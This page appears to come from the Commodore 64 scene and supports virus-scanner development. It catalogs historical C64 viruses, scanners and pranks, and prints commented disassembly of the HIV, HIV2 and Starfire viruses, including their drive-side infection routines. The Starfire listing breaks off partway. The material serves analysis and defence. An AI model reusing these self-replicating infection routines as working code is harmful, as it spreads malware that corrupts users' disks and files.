Making a Virus Scanner - info needed

as some of you might know i made a little util to scan the disks i transfered for errors (D64scan v0.2, http://noname.c64.org/csdb/release/?id=43862).

i thought it would be a useful feature to add virus detection (and possibly elimination) to that tool aswell...

so the question is, who has detailed info on that subject? useful info would be - what virii do exist - how did said virii work - what are existing scanners/cleaners, and how do they work - how do those virii “initially” install

...etc.

at the very least, i'd need a bunch of “infected” disks (or well, d64s of them), but ofcourse any further info would make things a lot easier :)

the following is a work in progress list of info that i could locate so far.

if you have anything to share that isnt mentioned in this list yet, (especially virus programs, and scanners/killers) don't hesitate to send me a mail also if you feel like adding more comments to one of the disassemblies, feel free to do so, all help is welcomed!

→ groepaz@gmx.net

Commodore C64 Virus List v0.2, last updated 09/06/2007 (w) groepaz/hitmen

programs that qualify as "real" virus

BHP-Virus

```
Author:  Dr.Dr.Strobe & Papa Hacker & Garfield
Size:    2030 bytes. (9 Blocks)
Type:    Memory-resident parasitic prepender.
Infects: Commodore 64 Basic files.
Payload: Displays text under certain conditions:

    DR.DR.STROBE&PAPA HACKER WAS HERE!
    COPROGRAMMER: GARFIELD
    HALLO DICKERCHEN, DIES IST EIN ECHTER
    VIRUS!
    SERIALNO.:2
```

Removal:

first virus for the C64 ever, often said to be _the_ first virus in computer history ever (which is not true, there were others before for cp/m, the apple 2e etc).

```
9      "bhp virus.prg"     prg
```

The following description is a cleaned up and shortened summary of the symantec virus bulletin january 2005 (http://pferrie.tripod.com/papers/bhp.pdf)

(note: this is still messy and may contain errors)

As with all Commodore 64 programs, BHP began with some code written in Basic. This code consisted of a single line, a SYS call to the assembler code, where the rest of the virus resided. Unlike many programs, the virus code built the address to call dynamically. This may have been written by a very careful coder, but it proved to be unnecessary because the address did not change in later versions of the machine.

Once the assembler code gained control, it placed itself in the block of memory that was normally occupied by the I/O devices when the ROM was banked-in.

A side-effect of memory-banking was that it was a great way to hide a program, since the program was not visible if its memory was not banked in. This is the reason why BHP placed its code in banked memory. After copying itself to banked memory, the virus restored the host program to its original memory location and restored the program size to its original value. This allowed the host program to execute as though it were not infected. However, at this time the virus would verify the checksum of the virus?s Basic code, and would overwrite the host memory if the checksum did not match. An interesting note about the checksum routine is that it missed the first three bytes of the code, which were the line number and SYS command. This made the job easier for the person who produced the later variant of the virus. Although the later variant differed only in the line number, this was sufficient to defeat the BHP-Killer program, because BHP-Killer checked the entire Basic code, including the line number.

The virus checked whether it was running already by reading a byte from a specific memory location. If that value matched the expected value, the virus assumed that another copy was running. Thus, writing that value to that memory location would have been an effective inoculation method. If no other copy of the virus was running, the virus would copy some code into a low address in non-banked memory, and hook several vectors, pointing them to the copied code.

The virus hooked the ILOAD, ISAVE, MAIN, NMI, CBINV and RESET vectors. The hooking of MAIN, NMI, CBINV and RESET made the virus Break-proof, Reset-proof, and Run/Stop-Restore-proof.

Once the hooks were in place, the virus ran the host code. The main virus code would be called on every request to load or save a file.

The ILOAD hook was reached when a disk needed to be searched. This happened whenever a directory listing was requested, and could happen when a search was made using a filename with wildcards, or the first time that a file was accessed. Otherwise, the drive hardware cached up to 2kb of data and returned it directly. The virus called the original ILOAD handler, then checked whether an infected program had been loaded. If an infected program had been loaded, the virus restored the host program to its original memory location and restored the program size to its original value. Otherwise, even if no file had been loaded, the virus called the infection routine.

The ISAVE hook was reached whenever a file was saved. The virus called the original ISAVE handler to

save the file, then called the infection routine. The infection routine began by checking that the requested device was a disk drive. If so, then the virus opened the first file in the cache. The first file in the cache would be the saved file if this code was reached via the ISAVE hook, otherwise it would be the first file in the directory listing. If the file was a Basic program, then the virus performed a quick infection check by reading the first byte of the program and comparing it against the SYS command.

If the SYS command was present, the virus verified the infection by reading and comparing up to 27 subsequent bytes. A file was considered infected if all 27 bytes matched. If the file was not infected, the virus switched to reading data from the hardware cache. The first check was for a standard disk layout: the directory had to exist on track 18, sector 0, and the file to infect had not to have resided on that track.

If these checks passed, the virus searched the track list for free sectors. It began with the track containing the file to infect, then moved outwards in alternating directions. This reduced the amount of seeking that the drive had to perform in order to read the file afterwards.

If at least eight free sectors existed on the same track, then the virus allocated eight sectors for itself and updated the sector bitmap for that track.

The virus wrote itself to disk in the following manner: the first sector of the host was copied to the last sector allocated by the virus, then that first sector was replaced by the first sector of the virus. After that, the remaining virus code was written to the remaining allocated sectors.

The directory stealth was present here, and it existed without any effort on the part of the virus writer(s). It was a side-effect of the virus not updating the block count in the directory sector. The block count was not used by DOS to load files, its purpose was informational only, since it was displayed by the directory listing.

After any call to ILOAD or ISAVE, the virus checked whether the payload should activate. The conditions for the payload activation were the following: that the machine was operating in ?direct? mode (the command-prompt), that the seconds field of the jiffy clock was a value from 2?4 seconds, and that the current scan line of the vertical retrace was at least 128. This made the activation fairly random. The payload was to display a particular text, one character at a time, while cycling the colours of the border The serial number that was displayed was the number of times the payload check was called. It was incremented once after each call, and it was carried in replications. It reset to zero only after 65,536 calls.

HIV-Virus

Author: Rogue/The Cult

probably the most known and widespread virus on the C64.

```
21     "hiv virus  /cult"  prg (turbo copy infected with hiv)
3      "hiv-virus"         prg
```

The infection stored on the track 18.

It infects only the first 4 file on the disk. It stores the infections on the track 18 sector 0. In this sector the lower nibble of $A7 byte (XXXX0001 means the first file is infected, XXXX0011 means the first and

second infected). After the 4th infection, infects the next (5th) file, and deletes the first file.

Software protection: Software protection is partially possible, just set the $A7 byte to XXXX1111 on a disk. If the virus is in the memory, but not was started with RUN command, but we insert another disk with this byte set, the virus assumes, its code already in the directory. Just tries to look for files, delete one, but does not writes its code into the directory.

The virus is 2 block long only, and after an infection, it recovers the original program and starts.

It is possible to copy an infected file with a file copy, so its not impossible to have a file which is infected more than one.

One of the virus scanners scans for this copied behaviour, and displays as file infection type (-F-)not as directory infection type (-D-), and of course we can have a file, which have also a directory type infection, and also as copied file another infection too. (This kind of multiple infection was named as -A- infection type in that scanner.)

Excellent programing work from the author of this virus.

HIV2-Virus

Author: Crossbow/Crest

this is an “optimized” version of the HIV Virus. according to crossbow he never released it into “the wild”, however according to others it is “out there”.

```
HIV-EXPERT V2.0.prg (hiv expert 1.0 infected with HIV2)
```

crossbow comments on this one:

“here is my virus, it's contained in the scanner for HIV 1. it scanns the disk for HIV1 (and removes it when it is found) but infects with HIV2. the virus does not use track 18 for itself (like HIV1), but track 19. that way the HIV1 scanner can not find it - but it will likely destroy other programs.”

BU\A Virus

aka: BULA Virus

Author: ?

```
4      "bu\a 6.13 /virus"  prg
4      "bu\a 8.32 /virus"  prg
```

(note: the \ in the filename is supposed to be the pound sign)

MD-Virus

aka: Magic Disk Virus

Author: ?

```
8      "md!-virus"         prg
29     "mdv-source"        prg
44     "mdv-source.asc"    seq
```

Starfire-Virus

Author: ?

```
2      "starfire virus"    prg
```

description by Quetzal:

That virus worked by scanning the directory for uninfected programs, grabbing the track + sector link to said prg and replacing it with a T+S link to a copy of the virus (which allocated each copy of itself 2 sectors on the disk more or less at random, thus REALLY screwing up files at times), the original T+S link was placed in the 2nd sector of the virus, so the original prg was then appended after it. Next time that prg was run, after the virus finished its work, a simple memory move to $0801 and a RUN, started the main prg. Can't recall exactly, but I think it also patched various vectors such as LOAD, RUNSTOP/RESTORE etc, giving more chances to be activated, this seems to be a common idea in C64 virus.

FROG-Virus

Author: Kobold/Frogs

this one is kinda nasty, it installs the infection routine in a fastcrueled program, and thus is a lot harder to scan for than for other virii (the infected program must be unpacked to check for the infection routine)

```
38     "fastcruel4.0+frg"  prg
```

Coder-Virus

Author: ?

(currently only found a scanner/remover for this one, not the actual virus. there is a small chance that its a fake. need to analyze the scanner, however it is a basic-boss compiled program which is almost impossible to read without a lot of effort, so that has to wait - finding the virus itself would save a LOT of work!)

virus-scanners and -killers

BHP-Virus

```
11     "tdf virus killer"  prg  "BHP Virus Killer" by T.D.F.
```

HIV-Virus

```
4      "hiv scaner /cult"  prg  "hiv virus scaner" by Cliff/The Cult/WOW
42     "hiv warning/cult"  prg   usage/warning note
24     "hiv-expert v1.00"  prg  "hiv-expert v1.00" by Rico/Nipson
5      "hiv-virus-ki.prg"  prg  "Virus Killer 1.0" by Jer/Panic Design

1      "hiv-virus-scann."  prg    "HIV Virus File Scan v1"
9      "poopoopoopoopoop"  prg

5      "hiv-virus-killer"  prg  "Virus Killer 1.0" by Jer/Panic Design

HIV-Finder          "HIV Finder v2.2" by Gringo
```

Starfire-Virus

```
6      "star killer v1.0"  prg  "star killer v1.0" by Quetzal/Chrome (Daniel
Martin)
```

MD-Virus

```
11     "protector"         prg    "Magic Disk Virus Protector V2.0"
```

Coder-Virus

```
29     "coder-virus kill"  prg  "Coder Virus Killer v0.9" by Pumpkin/Lower
Level
43     "noter to coder v"  prg   usage/warning note
```

others/generic (?)

```
Virus Killer            "Virus Killer" by Raven Softworks

Virus Killer v1.1       "Virus Killer v1.1" by The Atomic Two Industries

6      "virus kill. v2.4"  prg  "Virus Killer v2.4" by Exen/Fatum
```

Offtopic: pranks and fakes and other generally harmless programs

the following programs are listed to avoid confusion with “real” virii. they are all 100% harmless (promised).

Antivirus V4.0

Quetzal comments on this one: “This is a well designed fake. The code for “checking” for a virus consists of randomly choosing from the list of available viruses - most of which I doubt ever existed.”

```
29     "antivirus v4.0"    prg    "Antivirus V4.0" by JTX
```

WAG-Virus

Author: Matthias Weber, released by CSD and Magic Disk

not a real virus (it does not infect other programs/disks). this is a prank program released on magic disk.

```
50     "wag-virus"         prg
10     "sample 0a"         prg
32     "sample 0b"         prg
17     "sample 0c"         prg
41     "sample 0d"         prg
28     "sample 0e"         prg
11     "sample 0f"         prg
6      "sample 0g"         prg
31     "sample 0h"         prg
41     "sample 0i"         prg
48     "sample 0j"         prg

2      "wag virus-killer"  prg
```

Kaufhaus-Demo

aka: Karstadt Demo

Author: ?

not a real virus (it does not infect other programs/disks). this is a prank program released by an unknown author

Analysis: HIV

```
07FD .byte $xx,$xx,$xx           ;simple filler bytes to easier understand
the sending to the drive

0800 .byte $00,$0b,$08,$c8,$07,$9e,$32,$30,$35,$39,$00 ; basic stub

start
.C:080b   2C 00 DD   BIT $DD00   ;checks that code already runnin' in the
drive(?)
.C:080e   10 49      BPL $0859   ;if yes, then skip the memory upload, go to
the restore of the original

;this block sends the virus code into the drive buffer 0400 and 0500 (2
pages)
;there is two byte alignment because the first two bytes of a block is load
address

.C:0810   A9 0F      LDA #$0F    ;.A=$ff=#$0f
.C:0812   85 FF      STA $FF     ; 15 x 20 byte need to sent to the drive
.C:0814   A0 00      LDY #$00    ;low byte of block set to #$0 and store to
the M-W command

.C:0816   8C A0 08   STY $08A0   ;storing address to the M-W command
.C:0819   20 A4 08   JSR $08A4   ;open drive

.C:081c   A2 05      LDX #$05     ;send "M-W" address: $0400 length: 20
command to the 1541
.C:081e   BD 9E 08   LDA $089E,X
.C:0821   20 DD ED   JSR $EDDD
.C:0824   CA         DEX
.C:0825   10 F7      BPL $081E

.C:0827   A2 20      LDX #$20    ;send the virus code to the drive in $20
length blocks
.C:0829   B9 FD 07   LDA $07FD,Y ;from $07FD to           (((($09DD(?)
($01E0) (?))))
.C:082c   20 DD ED   JSR $EDDD   ;send a byte to drive
.C:082f   C8         INY
.C:0830   D0 0D      BNE $083F   ;when crossing the buffer border,
.C:0832   EE 2B 08   INC $082B   ;increment the source address and
.C:0835   EE 9F 08   INC $089F   ;increment the buffer address and
.C:0838   C8         INY         ;increment the .Y (first two byte is load
address)
.C:0839   C8         INY
.C:083a   A9 FB      LDA #$FB
.C:083c   8D 2A 08   STA $082A

.C:083f   CA         DEX
.C:0840   D0 E7      BNE $0829
```

```
.C:0842   20 AE FF   JSR $FFAE    ;send unlisten, when 20 byte was sent
.C:0845   C6 FF      DEC $FF
.C:0847   D0 CD      BNE $0816
.C:0849   20 A4 08   JSR $08A4

;start the code in the drive

.C:084c   A9 55      LDA #$55     ;send U4 code to drive then close the
channel
.C:084e   20 DD ED   JSR $EDDD    ;this starts the drive code at bank 4
(starts on $0503)
.C:0851   A9 34      LDA #$34
.C:0853   20 DD ED   JSR $EDDD
.C:0856   20 AE FF   JSR $FFAE

;preparation for the restore of the original program
;this block copies the restore routine (54 bytes with pointers) to the $0100

.C:0859   A0 36      LDY #$36     ;this block copies the following block to
$FC-
.C:085b   B9 67 08   LDA $0867,Y  ;zero page pointers at $FC code at $0100
.C:085e   99 FC 00   STA $00FC,Y
.C:0861   88         DEY
.C:0862   10 F7      BPL $085B
.C:0864   4C 00 01   JMP $0100

;zero page pointers for the the copy of original data (
;(this will be copied to $FC and used from the code copied to $0100)

;$FC-FF commodore 64 memory

.C:0867   04 07     ;$FC-$FD        ;these will be the zero page pointers
after copy
.C:0869   00 09     ;$FE-$FF

;restore the original program to run
;(this will be copied to $0100 and runs there)

;$0100 commodore 64 memory
.C:086b   A9 36      LDA #$36
.C:086d   85 01      STA $01
.C:086f   A6 AF      LDX $AF
.C:0871   A0 FD      LDY #$FD     ;this block moves the original program in
the memory to
.C:0873   B1 FE      LDA ($FE),Y  ;correct place ($0801 = $0704+$fd) then
runs it
.C:0875   91 FC      STA ($FC),Y
.C:0877   C8         INY
.C:0878   D0 04      BNE $087E
.C:087a   E6 FD      INC $FD
.C:087c   E6 FF      INC $FF
```

```
.C:087e   C4 AE      CPY $AE
.C:0880   D0 F1      BNE $0873
.C:0882   E4 FF      CPX $FF
.C:0884   D0 ED      BNE $0873
.C:0886   98         TYA
.C:0887   38         SEC
.C:0888   E9 FC      SBC #$FC
.C:088a   85 AE      STA $AE
.C:088c   85 2D      STA $2D
.C:088e   A5 FF      LDA $FF
.C:0890   E9 01      SBC #$01
.C:0892   85 AF      STA $AF
.C:0894   85 2E      STA $2E
.C:0896   E6 01      INC $01
.C:0898   20 59 A6   JSR $A659
.C:089b   4C AE A7   JMP $A7AE    ;restore of the original finished, runs
the original program

;memory write command in backwards order

.C:089e   20 04 A0   ; dest. address: $0400 length: $20 ($a0 was overwriten
by the virus with #$00 at the start)
.C:08a1   57 2D 4D   ;"W-M"

;drive handling subroutine
;this is used to open prepare drive

.C:08a4   A9 08      LDA #$08  ;open drive 8 (possible bug, it can't infect
other drive :) )
.C:08a6   20 0C ED   JSR $ED0C

.C:08a9   A9 6F      LDA #$6F  ;secondary address set
.C:08ab   4C B9 ED   JMP $EDB9 ;and implicit return to the call

;-------
;this code run in the drive after to $0400- copied

;1541 memory $04b4
.C:08ae   A9 90      LDA #$90    ; write sector jobcode

;1541 memory $04b6

.C:08b0   2C A9 80   BIT $80A9
.C:08b3   A2 03      LDX #$03    ;write out buffer 3 and wait until finishes
.C:08b5   95 00      STA $00,X   ;to store to bank 3 ($0600-06FF)
.C:08b7   B5 00      LDA $00,X
.C:08b9   30 FC      BMI $08B7   ;wait until bit 7 is set (job is finished)
.C:08bb   C9 01      CMP #$01
.C:08bd   F0 02      BEQ $08C1   ;if error is ok then return
.C:08bf   68         PLA         ;else remove two byte from stack then
return
```

```
.C:08c0   68         PLA
.C:08c1   60         RTS

.C:08c2   A0 02      LDY #$02
.C:08c4   A9 00      LDA #$00
.C:08c6   91 C0      STA ($C0),Y
.C:08c8   A0 04      LDY #$04
.C:08ca   B1 C0      LDA ($C0),Y
.C:08cc   A2 03      LDX #$03
.C:08ce   DD C6 05   CMP $05C6,X
.C:08d1   F0 05      BEQ $08D8
.C:08d3   CA         DEX
.C:08d4   10 F8      BPL $08CE
.C:08d6   30 09      BMI $08E1
.C:08d8   BD F6 04   LDA $04F6,X
.C:08db   49 FF      EOR #$FF
.C:08dd   25 C3      AND $C3
.C:08df   85 C3      STA $C3
.C:08e1   4C 4F 05   JMP $054F

.C:08e4   A9 00      LDA #$00
.C:08e6   85 0D      STA $0D     ;set buffer 3 sector to 0
.C:08e8   20 B4 04   JSR $04B4
.C:08eb   A5 C3      LDA $C3
.C:08ed   8D A7 06   STA $06A7
.C:08f0   4C B1 04   JMP $04B1
.C:08f3   08         PHP
.C:08f4   04 02      NOOP $02
.C:08f6   01 0F      ORA ($0F,X)
.C:08f8   4C C5 04   JMP $04C5

; 1541 memory $0500
.C:08fb   00         BRK
.C:08fc   00         BRK
.C:08fd   00         BRK

; 1541 memory $0503 (it was started with U4)

.C:08fe   A0 02      LDY #$02
.C:0900   8C 00 18   STY $1800    ;set clock in high (semafor for the
computer, "i am running here! :) " )

.C:0903   A9 08      LDA #$08     ;$08
.C:0905   8D 03 04   STA $0403    ;store #$0801 as load address to the $0400
(buffer 1)
.C:0908   88         DEY
.C:0909   84 C2      STY $C2      ;$c2 = 01
.C:090b   8C 02 04   STY $0402    ;$01 (y=1)
.C:090e   88         DEY          ;y=0
.C:090f   84 0D      STY $0D      ;Buffer 3 track set to 0
.C:0911   84 C0      STY $C0      ;$C0 = 00
```

```
.C:0913   A9 12      LDA #$12     ;set buffer 1-3 to track 18 ($12)
($0400-06ff to track 18)
.C:0915   8D 00 04   STA $0400    ;set track data in the buffer #1 too
.C:0918   85 08      STA $08
.C:091a   85 0A      STA $0A
.C:091c   85 0C      STA $0C

.C:091e   A9 06      LDA #$06
.C:0920   85 C1      STA $C1     ;$c1 = 06

.C:0922   A9 04      LDA #$04
.C:0924   2C 00 18   BIT $1800   ;wait until clock out is high
.C:0927   10 FB      BPL $0924
.C:0929   D0 F9      BNE $0924

.C:092b   20 18 C1   JSR $C118  ;turn on drive led
.C:092e   A9 B0      LDA #$B0
.C:0930   20 B6 04   JSR $04B6  ;
.C:0933   20 B4 04   JSR $04B4
.C:0936   AD A7 06   LDA $06A7
.C:0939   85 C3      STA $C3
.C:093b   E6 0D      INC $0D
.C:093d   20 B4 04   JSR $04B4
.C:0940   A0 02      LDY #$02
.C:0942   B1 C0      LDA ($C0),Y
.C:0944   29 8F      AND #$8F
.C:0946   C9 82      CMP #$82
.C:0948   F0 15      BEQ $095F

;1541 memory $054f

.C:094a   A5 C0      LDA $C0
.C:094c   18         CLC
.C:094d   69 20      ADC #$20
.C:094f   85 C0      STA $C0
.C:0951   90 ED      BCC $0940
.C:0953   20 B1 04   JSR $04B1
.C:0956   AD 01 06   LDA $0601
.C:0959   85 0D      STA $0D
.C:095b   10 E0      BPL $093D
.C:095d   F0 83      BEQ $08E2
.C:095f   C8         INY
.C:0960   B1 C0      LDA ($C0),Y
.C:0962   8D 00 05   STA $0500
.C:0965   C9 12      CMP #$12
.C:0967   D0 0D      BNE $0976
.C:0969   A0 18      LDY #$18
.C:096b   B1 C0      LDA ($C0),Y
.C:096d   F0 87      BEQ $08F6
.C:096f   38         SEC
.C:0970   E9 01      SBC #$01
```

```
.C:0972   91 C0      STA ($C0),Y
.C:0974   B0 D4      BCS $094A
.C:0976   C8         INY
.C:0977   B1 C0      LDA ($C0),Y
.C:0979   8D 01 05   STA $0501
.C:097c   A2 03      LDX #$03
.C:097e   A5 C3      LDA $C3
.C:0980   3D F6 04   AND $04F6,X
.C:0983   F0 05      BEQ $098A
.C:0985   CA         DEX
.C:0986   10 F6      BPL $097E
.C:0988   30 C0      BMI $094A
.C:098a   A5 C3      LDA $C3
.C:098c   1D F6 04   ORA $04F6,X
.C:098f   85 C3      STA $C3
.C:0991   BD C6 05   LDA $05C6,X
.C:0994   91 C0      STA ($C0),Y
.C:0996   85 09      STA $09
.C:0998   88         DEY
.C:0999   A9 12      LDA #$12
.C:099b   91 C0      STA ($C0),Y
.C:099d   BD CA 05   LDA $05CA,X
.C:09a0   8D 01 04   STA $0401
.C:09a3   85 0B      STA $0B
.C:09a5   A0 18      LDY #$18
.C:09a7   A9 04      LDA #$04
.C:09a9   91 C0      STA ($C0),Y
.C:09ab   A2 01      LDX #$01
.C:09ad   A9 90      LDA #$90
.C:09af   20 B8 04   JSR $04B8
.C:09b2   E8         INX
.C:09b3   A9 90      LDA #$90
.C:09b5   20 B8 04   JSR $04B8
.C:09b8   C6 C2      DEC $C2
.C:09ba   D0 8E      BNE $094A
.C:09bc   20 B1 04   JSR $04B1
.C:09bf   F0 9C      BEQ $095D

.C:09c1   11 06      ORA ($06),Y
.C:09c3   0C 12 0E   NOOP $0E12
.C:09c6   03 09      SLO ($09,X)
.C:09c8   0F 1D 1E   SLO $1E1D
.C:09cb   1D 18 15   ORA $1518,X
.C:09ce   13 12      SLO ($12),Y
.C:09d0   00         BRK
.C:09d1   00         BRK
.C:09d2   00         BRK
.C:09d3   00         BRK
.C:09d4   00         BRK
.C:09d5   00         BRK
.C:09d6   00         BRK
```

```
.C:09d7   00         BRK
.C:09d8   00         BRK
.C:09d9   00         BRK
.C:09da   00         BRK
.C:09db   00         BRK
.C:09dc   00         BRK
.C:09dd   1E 19 0E   ASL $0E19,X
.C:09e0   19 0A 09   ORA $090A,Y
.C:09e3   0A         ASL A
.C:09e4   15 0E      ORA $0E,X
.C:09e6   0F 0A 0F   SLO $0F0A
.C:09e9   0D 0A 15   ORA $150A
.C:09ec   19 13 16   ORA $1613,Y
.C:09ef   0F 0A 0A   SLO $0A0A
.C:09f2   13 0E      SLO ($0E),Y
.C:09f4   1A         NOOP
.C:09f5   0A         ASL A
.C:09f6   1A         NOOP
.C:09f7   09 0A      ORA #$0A
.C:09f9   0E 1A 2C   ASL $2C1A
.C:09fc   0B

(infected program follows)
```

Analysis: HIV2

```
; basic stub
0801    .byte $0c,$08,$c9,$07,$9e,$ff,$ac,$36,$35,$36,$00

; send drivecode
; move copyloop to stack
; start drivecode
; start copyloop

start:
.C:080c   A0 00      LDY #$00

.C:080e   8C 7F 08   STY $087F
.C:0811   20 3B 08   JSR $083B      ; M-W $0500
.C:0814   AA         TAX

.C:0815   B9 FD 07   LDA $07FD,Y
.C:0818   20 DD ED   JSR $EDDD
.C:081b   C8         INY
.C:081c   CA         DEX
.C:081d   D0 F6      BNE $0815

.C:081f   AA         TAX
.C:0820   20 AE FF   JSR $FFAE
```

```
.C:0823   98         TYA
.C:0824   D0 E8      BNE $080E

.C:0826   8E 80 08   STX $0880      ; change the M-W to M-E $0500

.C:0829   BD 51 08   LDA $0851,X
.C:082c   9D 00 01   STA $0100,X
.C:082f   CA         DEX
.C:0830   10 F7      BPL $0829

.C:0832   20 3B 08   JSR $083B      ; M-E
.C:0835   20 AE FF   JSR $FFAE
.C:0838   4C 00 01   JMP $0100

; send M-W
.C:083b   A9 08      LDA #$08
.C:083d   20 0C ED   JSR $ED0C
.C:0840   A9 6F      LDA #$6F
.C:0842   20 B9 ED   JSR $EDB9
.C:0845   A2 05      LDX #$05

.C:0847   BD 7D 08   LDA $087D,X
.C:084a   20 DD ED   JSR $EDDD
.C:084d   CA         DEX
.C:084e   10 F7      BPL $0847
.C:0850   60         RTS

; originally at $0851
; transfered to $0100

; copies original program back to
; where it belongs and runs it

.C:0851   78         SEI
.C:0852   E6 01      INC $01
.C:0854   BD 00 08   LDA $0800,X
.C:0857   9D 02 07   STA $0702,X
.C:085a   E8         INX
.C:085b   D0 F7      BNE $0854

.C:085d   EE 08 01   INC $0108
.C:0860   EE 05 01   INC $0105
.C:0863   D0 EF      BNE $0854

.C:0865   A5 2D      LDA $2D
.C:0867   38         SEC
.C:0868   E9 FE      SBC #$FE
.C:086a   85 2D      STA $2D
.C:086c   85 AE      STA $AE
.C:086e   B0 04      BCS $0874
.C:0870   C6 2E      DEC $2E
```

```
.C:0872   C6 AF      DEC $AF
.C:0874   C6 01      DEC $01
.C:0876   58         CLI
.C:0877   20 59 A6   JSR $A659
.C:087a   4C AE A7   JMP $A7AE

087d    .byte $20,$05,$e0,"W","-","M"

; drivecode
.C:0883   85 14      STA $14
.C:0885   85 07      STA $07
.C:0887   A9 B0      LDA #$B0
.C:0889   20 D9 05   JSR $05D9
.C:088c   A9 80      LDA #$80
.C:088e   20 D9 05   JSR $05D9
.C:0891   A0 01      LDY #$01
.C:0893   B1 14      LDA ($14),Y
.C:0895   29 8F      AND #$8F
.C:0897   C9 82      CMP #$82
.C:0899   F0 0F      BEQ $08AA
.C:089b   A5 14      LDA $14
.C:089d   18         CLC
.C:089e   69 20      ADC #$20
.C:08a0   85 14      STA $14
.C:08a2   90 ED      BCC $0891
.C:08a4   AD 01 03   LDA $0301
.C:08a7   10 DC      BPL $0885
.C:08a9   60         RTS

.C:08aa   C8         INY
.C:08ab   B1 14      LDA ($14),Y
.C:08ad   C9 13      CMP #$13
.C:08af   F0 EA      BEQ $089B
.C:08b1   8D 00 05   STA $0500
.C:08b4   A9 13      LDA #$13
.C:08b6   91 14      STA ($14),Y
.C:08b8   85 0A      STA $0A
.C:08ba   C8         INY
.C:08bb   B1 14      LDA ($14),Y
.C:08bd   8D 01 05   STA $0501
.C:08c0   A9 11      LDA #$11
.C:08c2   91 14      STA ($14),Y
.C:08c4   85 0B      STA $0B
.C:08c6   A8         TAY
.C:08c7   88         DEY
.C:08c8   10 02      BPL $08CC
.C:08ca   A0 12      LDY #$12
.C:08cc   8C C4 05   STY $05C4
.C:08cf   20 D7 05   JSR $05D7
.C:08d2   A2 05      LDX #$05
.C:08d4   A9 90      LDA #$90
```

```
.C:08d6   95 FD      STA $FD,X
.C:08d8   B5 FD      LDA $FD,X
.C:08da   30 FC      BMI $08D8
.C:08dc   60         RTS

.C:08dd   A2 03      LDX #$03
.C:08df   86 15      STX $15
.C:08e1   8E 00 18   STX $1800
.C:08e4   A9 12      LDA #$12
.C:08e6   85 06      STA $06
.C:08e8   A9 08      LDA #$08
.C:08ea   8D 03 05   STA $0503
.C:08ed   2C 00 18   BIT $1800
.C:08f0   10 FB      BPL $08ED
.C:08f2   20 18 C1   JSR $C118
.C:08f5   A9 01      LDA #$01
.C:08f7   8D 02 05   STA $0502
.C:08fa   D0 87      BNE $0883

.C:08fc   45 01      EOR $01

(infected program follows)
```

Analysis: Starfire

```
; basic stub
0800 .byte $00,$0b,$08,$c8,$07,$9e,$32,$30,$36,$31,$00,$00,$00

start
.C:080d   A9 0F      LDA #$0F
.C:080f   A8         TAY
.C:0810   A2 08      LDX #$08
.C:0812   20 00 FE   JSR $FE00
.C:0815   25 A2      AND $A2
.C:0817   85 05      STA $05
.C:0819   E6 05      INC $05
.C:081b   20 4A F3   JSR $F34A
.C:081e   BD FB 08   LDA $08FB,X
.C:0821   9D 00 CE   STA $CE00,X
.C:0824   E8         INX
.C:0825   D0 F7      BNE $081E

.C:0827   A9 12      LDA #$12
.C:0829   85 FE      STA $FE
.C:082b   A9 01      LDA #$01
.C:082d   85 FD      STA $FD
.C:082f   A0 E3      LDY #$E3
.C:0831   20 F9 FD   JSR $FDF9
.C:0834   A7 2C      LAX $2C
```

```
.C:0836   A8         TAY
.C:0837   20 00 FE   JSR $FE00
.C:083a   20 4A F3   JSR $F34A
.C:083d   20 15 09   JSR $0915
.C:0840   AE 15 CF   LDX $CF15
.C:0843   86 03      STX $03
.C:0845   E0 08      CPX #$08
.C:0847   30 03      BMI $084C
.C:0849   4C 66 09   JMP $0966

.C:084c   EE 15 CF   INC $CF15
.C:084f   A9 E3      LDA #$E3
.C:0851   18         CLC
.C:0852   69 20      ADC #$20
.C:0854   CA         DEX
.C:0855   10 FA      BPL $0851

.C:0857   AA         TAX
.C:0858   BD 00 CF   LDA $CF00,X
.C:085b   8D 00 CE   STA $CE00
.C:085e   A5 05      LDA $05
.C:0860   9D 00 CF   STA $CF00,X
.C:0863   E8         INX
.C:0864   BD 00 CF   LDA $CF00,X
.C:0867   8D 01 CE   STA $CE01
.C:086a   A5 03      LDA $03
.C:086c   0A         ASL A
.C:086d   9D 00 CF   STA $CF00,X
.C:0870   20 F5 08   JSR $08F5
.C:0873   A5 05      LDA $05
.C:0875   85 FE      STA $FE
.C:0877   A5 03      LDA $03
.C:0879   0A         ASL A
.C:087a   A8         TAY
.C:087b   C8         INY
.C:087c   84 04      STY $04
.C:087e   20 AA 08   JSR $08AA
.C:0881   BD 01 08   LDA $0801,X
.C:0884   9D 04 CE   STA $CE04,X
.C:0887   E8         INX
.C:0888   D0 F7      BNE $0881

.C:088a   A4 04      LDY $04
.C:088c   8C 01 CE   STY $CE01
.C:088f   88         DEY
.C:0890   20 55 09   JSR $0955
.C:0893   A9 0F      LDA #$0F
.C:0895   20 91 F2   JSR $F291
.C:0898   20 2F F3   JSR $F32F
.C:089b   78         SEI
.C:089c   A2 20      LDX #$20
```

```
.C:089e   BD D8 08   LDA $08D8,X
.C:08a1   9D 3F 03   STA $033F,X
.C:08a4   CA         DEX
.C:08a5   D0 F7      BNE $089E
.C:08a7   4C 40 03   JMP $0340

.C:08aa   84 FD      STY $FD
.C:08ac   A2 00      LDX #$00
.C:08ae   BD 00 CE   LDA $CE00,X
.C:08b1   9D 00 CF   STA $CF00,X
.C:08b4   E8         INX
.C:08b5   D0 F7      BNE $08AE
.C:08b7   4C F5 08   JMP $08F5
.C:08ba   A2 0F      LDX #$0F
.C:08bc   20 50 F2   JSR $F250
.C:08bf   A0 08      LDY #$08
.C:08c1   A9 C9      LDA #$C9
.C:08c3   20 1E AB   JSR $AB1E
.C:08c6   4C 33 F3   JMP $F333

08c9 .byte "B","-","P",":","8",",","0",$00
08d1 .byte "U","1",":","8",",","0",",",$00

; copied to $0340
.C:08d9   E6 01      INC $01
.C:08db   BD FD 09   LDA $09FD,X
.C:08de   9D 01 08   STA $0801,X
.C:08e1   E8         INX
.C:08e2   D0 F7      BNE $08DB
.C:08e4   EE 47 03   INC $0347
.C:08e7   EE 44 03   INC $0344
.C:08ea   D0 EF      BNE $08DB
.C:08ec   C6 01      DEC $01
.C:08ee   58         CLI
.C:08ef   20 59 A6   JSR $A659
.C:08f2   4C AE A7   JMP $A7AE

.C:08f5   20 BA 08   JSR $08BA
.C:08f8   A9 32      LDA #$32
.C:08fa   8D D2 08   STA $08D2
.C:08fd   A2 08      LDX #$08
.C:08ff   20 50 F2   JSR $F250
.C:0902   A0 00      LDY #$00
.C:0904   B9 00 CF   LDA $CF00,Y
.C:0907   20 DD ED   JSR $EDDD
